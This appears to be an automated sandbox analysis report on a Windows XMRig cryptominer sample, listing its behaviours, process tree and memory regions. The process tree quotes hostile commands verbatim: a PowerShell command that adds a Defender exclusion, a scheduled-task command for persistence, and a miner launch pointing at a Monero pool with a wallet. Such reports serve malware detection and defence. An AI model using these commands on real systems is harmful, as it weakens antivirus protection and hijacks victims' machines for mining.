Analysis
- max time kernel
70s - max time network
146s - platform
windows10-2004_x64 - resource
win10v2004-20220901-en - resource tags
- submitted
05/01/2023, 16:54
General
- Target file.exe
- Size 775KB
- Sample230105-vejdzacf32
- SHA256 2ad3f386803ddf6d2748bf5dfc9d2a65df080b97f4c6b3c3b76aece0a29bd529
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 6 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 20 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "WSEL" /tr "C:\ProgramData\7zip\WSEL.exe"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "WSEL" /tr "C:\ProgramData\7zip\WSEL.exe"3⤵
- Creates scheduled task(s)
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
memory/2236-149-0x00007FF98FDF0000-0x00007FF9908B1000-memory.dmp
memory/2236-148-0x000002062D140000-0x000002062D162000-memory.dmp
memory/2236-147-0x00007FF98FDF0000-0x00007FF9908B1000-memory.dmp
memory/3080-163-0x000002264CED0000-0x000002264CEF0000-memory.dmp
memory/3080-172-0x00000226DF710000-0x00000226DF730000-memory.dmp
memory/3080-171-0x00000226DF4E0000-0x00000226DF500000-memory.dmp
memory/3080-170-0x00000226DF710000-0x00000226DF730000-memory.dmp
memory/3080-169-0x00000226DF4E0000-0x00000226DF500000-memory.dmp
memory/3080-166-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/3080-165-0x000002264D020000-0x000002264D060000-memory.dmp
memory/3080-164-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/3080-162-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/3080-161-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/3080-159-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/4296-155-0x00007FF990B80000-0x00007FF990BB5000-memory.dmp
memory/4296-137-0x00007FF9AD530000-0x00007FF9AD6D1000-memory.dmp
memory/4296-134-0x00007FF9ADAA0000-0x00007FF9ADB3E000-memory.dmp
memory/4296-151-0x0000000000950000-0x0000000000993000-memory.dmp
memory/4296-140-0x0000000000950000-0x0000000000993000-memory.dmp
memory/4296-156-0x00007FF98CC60000-0x00007FF98CD62000-memory.dmp
memory/4296-157-0x00007FF9AD7B0000-0x00007FF9AD81B000-memory.dmp
memory/4296-158-0x00007FF9AB3C0000-0x00007FF9AB3FB000-memory.dmp
memory/4296-150-0x0000000000420000-0x0000000000548000-memory.dmp
memory/4296-135-0x00007FF9A9F10000-0x00007FF9A9F22000-memory.dmp
memory/4296-136-0x00007FF991590000-0x00007FF99164D000-memory.dmp
memory/4296-152-0x00007FF98FDF0000-0x00007FF9908B1000-memory.dmp
memory/4296-133-0x00007FF991650000-0x00007FF9916FA000-memory.dmp
memory/4296-139-0x0000000000420000-0x0000000000548000-memory.dmp
memory/4296-145-0x00007FF9AC750000-0x00007FF9AC777000-memory.dmp
memory/4296-144-0x00007FF98FDF0000-0x00007FF9908B1000-memory.dmp
memory/4296-167-0x0000000000420000-0x0000000000548000-memory.dmp
memory/4296-168-0x00007FF98FDF0000-0x00007FF9908B1000-memory.dmp
memory/4296-143-0x00007FF98E6A0000-0x00007FF98E7EE000-memory.dmp
memory/4296-142-0x0000000000420000-0x0000000000548000-memory.dmp
memory/4296-141-0x00007FF9AC920000-0x00007FF9AC94B000-memory.dmp
memory/4296-138-0x00007FF98FDF0000-0x00007FF9908B1000-memory.dmp